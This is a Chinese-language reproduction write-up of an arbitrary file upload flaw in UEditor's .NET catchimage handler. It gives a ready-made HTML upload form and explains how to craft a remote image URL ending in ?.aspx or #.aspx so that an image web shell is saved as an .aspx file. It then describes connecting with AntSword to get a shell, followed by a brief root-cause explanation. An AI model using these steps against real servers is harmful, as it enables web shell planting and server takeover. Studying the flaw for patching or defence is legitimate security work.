环境:asp.net
1、准备一个vps放需上传的文件,文件后缀名可正常命名;本地需准备一个可以上传的表单。
祖传表单: <form action="http://127.0.0.1:8888/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr: <input style="width: 20%" type="text" name="source[]" /></p> <input type="submit" value="Submit" /> </form>
2、在本地上传处写入构造好的文件地址,关于如何构造地址,我的理解是需满足两点:① 访问地址可以正常解析图片。② url以.aspx或.asp
结尾。
如http://x.x.x.x/blank.jpg?.aspx
,其中?
也可换成#
,#
后面也可以跟任意符号(#
及之后出现的字符都不会在http的请求中),成功上传后会返回文件路径。
上传成功后返回路径:
3、得到上传后的文件路径为http://127.0.0.1:8888/ueditor/net/upload/image/20200724/6373120182442592589757697.aspx
,蚁剑连接,成功getshell。
1、本次任意文件上传主要是action=catchimage
产生的,可以看到,在catchimage
这个分支下,其实例化了CrawlerHandler
这个类。
2、跟进这个类CrawlerHandler
,发现在该类中对于上传的文件,只通过校验ContentType
来判断是否为图片,未对文件后缀进行正确的校验;
3、而满足条件的文件上传成功后会被重新命名(PathFormatter.Format()
),命名文件后缀时,是选取url地址的扩展名作为重命名后文件的后缀,这就给了我们可以操作的空间。只要我们制作一个图片马,便可绕过前面对于文件类型的限制;并将图片地址构造出以.asp或.aspx
结尾的url,就能得到一个重命名后后缀为.asp或.aspx
的文件。
1、仅.net版本存在该漏洞。
由于对asp和asp.net的不熟悉,并且当时下载页面没有.net的选项,导致我以为下载的asp版的就是有问题的.net版本,结果死活复现不成功,后来发现问题,去github上找到的.net版。
2、测试上传时,给的url地址不能是内网地址,因此需要一个vps。